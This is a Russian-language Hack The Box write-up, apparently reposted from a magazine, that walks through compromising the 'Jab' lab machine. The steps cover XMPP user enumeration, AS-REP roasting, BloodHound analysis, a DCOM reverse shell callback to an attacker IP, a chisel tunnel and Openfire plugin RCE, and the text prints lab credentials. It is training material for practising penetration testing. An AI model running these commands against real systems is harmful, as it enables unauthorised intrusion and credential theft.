stihl не предоставил(а) никакой дополнительной информации.
В этом райтапе нам предстоит получить 2,5 тысячи пользователей сервера XMPP и валидировать их в Active Directory. Затем мы найдем учетные данные и получим сессию на сервере, используя механизм DCOM. Повысить привилегии нам поможет вредоносный плагин для сервера Openfire.
Наша цель — получение прав суперпользователя на машине Jab с учебной площадки Hack The Box. Уровень сложности — средний.
И запускаем сканирование портов.
Наиболее известный инструмент для сканирования — это Nmap. Улучшить результаты его работы ты можешь при помощи следующего скрипта:
Он действует в два этапа. На первом производится обычное быстрое сканирование, на втором — более тщательное сканирование, с использованием имеющихся скриптов (опция -A).
Для просмотра ссылки Войдиили ЗарегистрируйсяДля просмотра ссылки Войди или Зарегистрируйся
Результат работы скрипта
Сканер нашел много открытых портов:
или Зарегистрируйся.
Устанавливаем:
Приветствие Pidgin
Так как у нас нет никаких учетных данных, создадим свою учетную запись.
Создание учетной записи
Создание учетной записи (продолжение)
После чего с созданной учетной записью регистрируемся на сервере.
Регистрация клиента
При присоединении к чату находим еще одно доменное имя.
Присоединение к чату
Добавим его в файл /etc/hosts.
Также можно получить список доступных комнат.
Список комнат
Когда все готово, можно поискать пользователей. Для этого нужно перейти в меню «Учетные записи → Пользователь → Искать пользователей → search.jab.htb». В поле Search указываем звездочку, чтобы искать любые имена.
Поиск пользователей
Список найденных пользователей
Список оказался намного больше, чем я ожидал, поэтому нужно найти способ сохранить свыше 2,5 тысячи пользователей в файл.
Повторяем все действия для получения списка пользователей и проверяем файл.
Содержимое файла log.txt
Теперь из файла log.txt нужно вытащить имена пользователей и сохранить в другой файл.
Когда все готово, можно перебрать этих полученных пользователей через Для просмотра ссылки Войдиили Зарегистрируйся. Так мы убеждаемся в том, что пользователи реально существуют в домене.
Результат перебора
Почти все пользователи из списка присутствуют в домене. Так как у нас нет никаких учетных данных, попробуем провести атаку AS-REP Roasting. Ее смысл в том, что мы посылаем на сервер аутентификации анонимный запрос для предоставления определенному пользователю доступа к какой‑либо услуге. На что сервер выдает один из трех ответов:
Результат проведения атаки
Таким образом, в домене есть пользователь, для которого не требуется предварительная аутентификация Kerberos. Из справки узнаём, что для подбора пароля в hashcat требуется режим 18200 (параметр -m).
Справка hashcat
Результат перебора пароля
Получив пароль, проверяем его валидность.
Для просмотра ссылки Войдиили Зарегистрируйся
или Зарегистрируйся. Эта тулза сканирует LDAP и использует графы для выявления скрытых и часто непреднамеренных взаимосвязей в среде Active Directory или Azure. Это помогает легко идентифицировать очень сложные пути атаки, которые в противном случае было бы невозможно быстро обнаружить. Для работы с данными нам дополнительно нужно установить СУБД Neo4j. Или можно просто запустить ее в Docker.
Для сканирования из Linux будем использовать расширение для Для просмотра ссылки Войдиили Зарегистрируйся. Но для этого необходимо, чтобы FQDN-имя контроллера домена было записано в файле /etc/hosts.
А теперь используем NetExec с параметром --bloodhound.
Сбор данных BloodHound
Но и тут ничего интересного. Однако есть сервис, куда мы еще не ходили от имени скомпрометированного пользователя, — это сервер XMPP.
Окно авторизации XMPP
Проверяем доступные комнаты и находим новую — pentest2003.
Список комнат
Заходим в комнату и просматриваем историю чата. Там находим сообщение с результатами перебора хеша с помощью hashcat.
Сообщения в чате
Забираем логин и пароль и проверяем учетные данные в домене.
Проверка учетных данных
Так у нас появился новый пользователь, помечаем его как Owned и перестраиваем граф. Оказывается, пользователь состоит в группе DISTRIBUTED COM USERS.
Граф BloodHound
Таким образом, наш юзер может использовать механизм DCOM. Посмотрим, как обстоит дело с выполнением команд. Так как у нас нет возможности читать файлы с ресурса SMB, результат выполнения команды мы получить не сможем. Для теста запустим веб‑сервер Python на локальной машине и через скрипт dcomexec из набора Impacket выполним запрос с удаленного хоста при помощи curl.
Выполнение команды через DCOM
Логи веб‑сервера
Запрос пришел, а значит, команда выполнена. На сайте Для просмотра ссылки Войдиили Зарегистрируйся сгенерируем реверс‑шелл PowerShell #3 (Base64).
Reverse Shell Generator
Затем на локальной машине запустим листенер:
И выполним реверс‑шелл через dcomexec.
Флаг пользователя
или Зарегистрируйся (PEASS) — набор скриптов, которые проверяют систему на автомате и выдают подробный отчет о потенциально интересных файлах, процессах и настройках.
В выводе скрипта много всего, поэтому пройдемся по наиболее многообещающим пунктам.
В списке установленного программного обеспечения присутствует сервер Openfire.
Список установленного ПО
Среди прослушиваемых портов отметим 9000 и 9001, что типично для Openfire.
Прослушиваемые порты
Так как порт доступен только с локального хоста, необходимо туннелировать трафик. Для этого будем использовать утилиту Для просмотра ссылки Войдиили Зарегистрируйся. На локальном хосте запустим сервер, ожидающий подключения (параметр --reverse) на порт 8888 (параметр --port):
Теперь на удаленном хосте запустим клиентскую часть. Указываем адрес сервера и порт для подключения, а также настройку туннелирования: с локального порта 9090 на порт 9090 хоста 127.0.0.1.
В логах сервера должны увидеть сообщение о создании сессии.
Логи chisel server
Когда туннель готов, можно просмотреть сайт через порт 9090 своего локального хоста.
Форма авторизации Openfire
Для этого сервиса есть недавние CVE и даже опубликованный на GitHub Для просмотра ссылки Войдиили Зарегистрируйся для обхода аутентификации и дальнейшего получения RCE через загрузку плагина.
Поиск эксплоитов в Google
Обход аутентификации не работает, однако получилось авторизоваться под учетной записью svc_openfire.
Главная страница Openfire
Попробуем получить RCE через загрузку плагина из того же репозитория. Для этого переходим на страницу Plugins и загружаем плагин.
Страница Plugins
После загрузки плагина увидим описание, что пароль — 123.
Страница Plugins
Теперь через меню Server переходим к Server Settings → Management Tool.
Страница Management Tool
Нас встречает форма ввода пароля. Вводим 123 и получаем доступ к панели выполнения команд.
Результат выполнения команды whoami
Так как мы работаем с максимальными привилегиями на хосте, можно прочитать флаг.
Флаг рута
Машина захвачена!
Наша цель — получение прав суперпользователя на машине Jab с учебной площадки Hack The Box. Уровень сложности — средний.
warning
Подключаться к машинам с HTB рекомендуется только через VPN. Не делай этого с компьютеров, где есть важные для тебя данные, так как ты окажешься в общей сети с другими участниками.
Разведка
Сканирование портов
Добавляем IP-адрес машины в /etc/hosts:10.10.11.4 jab.htb
И запускаем сканирование портов.
Справка: сканирование портов
Сканирование портов — стандартный первый шаг при любой атаке. Он позволяет атакующему узнать, какие службы на хосте принимают соединение. На основе этой информации выбирается следующий шаг к получению точки входа.Наиболее известный инструмент для сканирования — это Nmap. Улучшить результаты его работы ты можешь при помощи следующего скрипта:
Код:
#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -A $1
Для просмотра ссылки Войди
Сканер нашел много открытых портов:
- 53 — DNS;
- 88 — Kerberos;
- 135 — Microsoft RPC;
- 139 — NetBIOS, NetLogon;
- 445 — SMB;
- 464 — служба смены пароля Kerberos;
- 593 (HTTP-RPC-EPMAP) — используется в службах DCOM и MS Exchange;
- 3268 (LDAP) — для доступа к Global Catalog от клиента к контроллеру;
- 3269 (LDAPS) — для доступа к Global Catalog от клиента к контроллеру через защищенное соединение;
- 5222, 5223, 5262, 5263, 5269 — серверы Jabber;
- 5270, 7443 — XMPP;
- 9389 — AD DS.
Точка входа
Для подключения к серверу Jabber потребуется какой‑нибудь клиент, например Для просмотра ссылки ВойдиУстанавливаем:
sudo apt install pidgin
Так как у нас нет никаких учетных данных, создадим свою учетную запись.
После чего с созданной учетной записью регистрируемся на сервере.
При присоединении к чату находим еще одно доменное имя.
Добавим его в файл /etc/hosts.
10.10.11.4 jab.htb conference.jab.htb
Также можно получить список доступных комнат.
Когда все готово, можно поискать пользователей. Для этого нужно перейти в меню «Учетные записи → Пользователь → Искать пользователей → search.jab.htb». В поле Search указываем звездочку, чтобы искать любые имена.
Список оказался намного больше, чем я ожидал, поэтому нужно найти способ сохранить свыше 2,5 тысячи пользователей в файл.
Точка опоры
Закрываем Pidgin и запускаем его снова, но на этот раз в режиме отладки, с сохранением логов в файл:pidgin -d > log.txt
Повторяем все действия для получения списка пользователей и проверяем файл.
Теперь из файла log.txt нужно вытащить имена пользователей и сохранить в другой файл.
grep -oP '<value>\K[^<][EMAIL]+@jab.htb[/EMAIL](?=</value>)' log.txt | cut -d '@' -f 1 | sort | uniq > users.txt
Когда все готово, можно перебрать этих полученных пользователей через Для просмотра ссылки Войди
kerbrute_linux_amd64 userenum -d jab.htb --dc 10.10.11.4 -t 128 ./users.txt
Почти все пользователи из списка присутствуют в домене. Так как у нас нет никаких учетных данных, попробуем провести атаку AS-REP Roasting. Ее смысл в том, что мы посылаем на сервер аутентификации анонимный запрос для предоставления определенному пользователю доступа к какой‑либо услуге. На что сервер выдает один из трех ответов:
- предоставляет билет, из которого мы возьмем хеш;
- отвечает, что у данного пользователя не выставлен флаг UF_DONT_REQUIRE_PREAUTH;
- говорит, что такого пользователя нет в базе Kerberos.
GetNPUsers.py jab.htb/ -usersfile users.txt
Таким образом, в домене есть пользователь, для которого не требуется предварительная аутентификация Kerberos. Из справки узнаём, что для подбора пароля в hashcat требуется режим 18200 (параметр -m).
hashcat --example | grep krb5asrep -B 11
hashcat -m 18200 hashes.txt rockyou.txt
Получив пароль, проверяем его валидность.
nxc smb 10.10.11.4 -u jmontgomery -p 'Midnight_121' --smb-timeout 5
Для просмотра ссылки Войди
Продвижение
Больше ничего интересного не находим, поэтому поищем мисконфиги, то есть уязвимые конфигурации. В этом может помочь Для просмотра ссылки Войдиdocker run -p7474:7474 -p7687:7687 -e NEO4J_AUTH=neo4j/[I]S3cr3T[/I] neo4j
Для сканирования из Linux будем использовать расширение для Для просмотра ссылки Войди
10.10.11.4 jab.htb conference.jab.htb DC01.jab.htb
А теперь используем NetExec с параметром --bloodhound.
nxc ldap 10.10.11.4 -u jmontgomery -p 'Midnight_121' -ns 10.10.11.4 --bloodhound
Но и тут ничего интересного. Однако есть сервис, куда мы еще не ходили от имени скомпрометированного пользователя, — это сервер XMPP.
Проверяем доступные комнаты и находим новую — pentest2003.
Заходим в комнату и просматриваем историю чата. Там находим сообщение с результатами перебора хеша с помощью hashcat.
Забираем логин и пароль и проверяем учетные данные в домене.
nxc smb 10.10.11.4 -u svc_openfire -p '!@#$%^&*(1qazxsw' --smb-timeout 3
Так у нас появился новый пользователь, помечаем его как Owned и перестраиваем граф. Оказывается, пользователь состоит в группе DISTRIBUTED COM USERS.
Таким образом, наш юзер может использовать механизм DCOM. Посмотрим, как обстоит дело с выполнением команд. Так как у нас нет возможности читать файлы с ресурса SMB, результат выполнения команды мы получить не сможем. Для теста запустим веб‑сервер Python на локальной машине и через скрипт dcomexec из набора Impacket выполним запрос с удаленного хоста при помощи curl.
dcomexec.py -object MMC20 'jab.htb/svc_openfire:!@#$%^&*(1qazxsw'@10.10.11.4 'curl 10.10.16.143/test_rce' -silentcommand
Запрос пришел, а значит, команда выполнена. На сайте Для просмотра ссылки Войди
Затем на локальной машине запустим листенер:
rlwrap nc -nlvp 4321
И выполним реверс‑шелл через dcomexec.
dcomexec.py -object MMC20 'jab.htb/svc_openfire:!@#$%^&*(1qazxsw'@10.10.11.4 'powershell -r JAB.....' -silentcommand
Локальное повышение привилегий
Теперь нам необходимо собрать информацию. Я буду использовать для этого скрипты PEASS.Справка: скрипты PEASS
Что делать после того, как мы получили доступ в систему от имени пользователя? Вариантов дальнейшей эксплуатации и повышения привилегий может быть очень много, как в Linux, так и в Windows. Чтобы собрать информацию и наметить цели, можно использовать Для просмотра ссылки ВойдиВ выводе скрипта много всего, поэтому пройдемся по наиболее многообещающим пунктам.
В списке установленного программного обеспечения присутствует сервер Openfire.
Среди прослушиваемых портов отметим 9000 и 9001, что типично для Openfire.
Так как порт доступен только с локального хоста, необходимо туннелировать трафик. Для этого будем использовать утилиту Для просмотра ссылки Войди
./chisel.bin server --port 8888 --reverse
Теперь на удаленном хосте запустим клиентскую часть. Указываем адрес сервера и порт для подключения, а также настройку туннелирования: с локального порта 9090 на порт 9090 хоста 127.0.0.1.
chisel.exe client 10.10.16.143:8888 R:9090:127.0.0.1:9090
В логах сервера должны увидеть сообщение о создании сессии.
Когда туннель готов, можно просмотреть сайт через порт 9090 своего локального хоста.
Для этого сервиса есть недавние CVE и даже опубликованный на GitHub Для просмотра ссылки Войди
Обход аутентификации не работает, однако получилось авторизоваться под учетной записью svc_openfire.
Попробуем получить RCE через загрузку плагина из того же репозитория. Для этого переходим на страницу Plugins и загружаем плагин.
После загрузки плагина увидим описание, что пароль — 123.
Теперь через меню Server переходим к Server Settings → Management Tool.
Нас встречает форма ввода пароля. Вводим 123 и получаем доступ к панели выполнения команд.
Так как мы работаем с максимальными привилегиями на хосте, можно прочитать флаг.
Машина захвачена!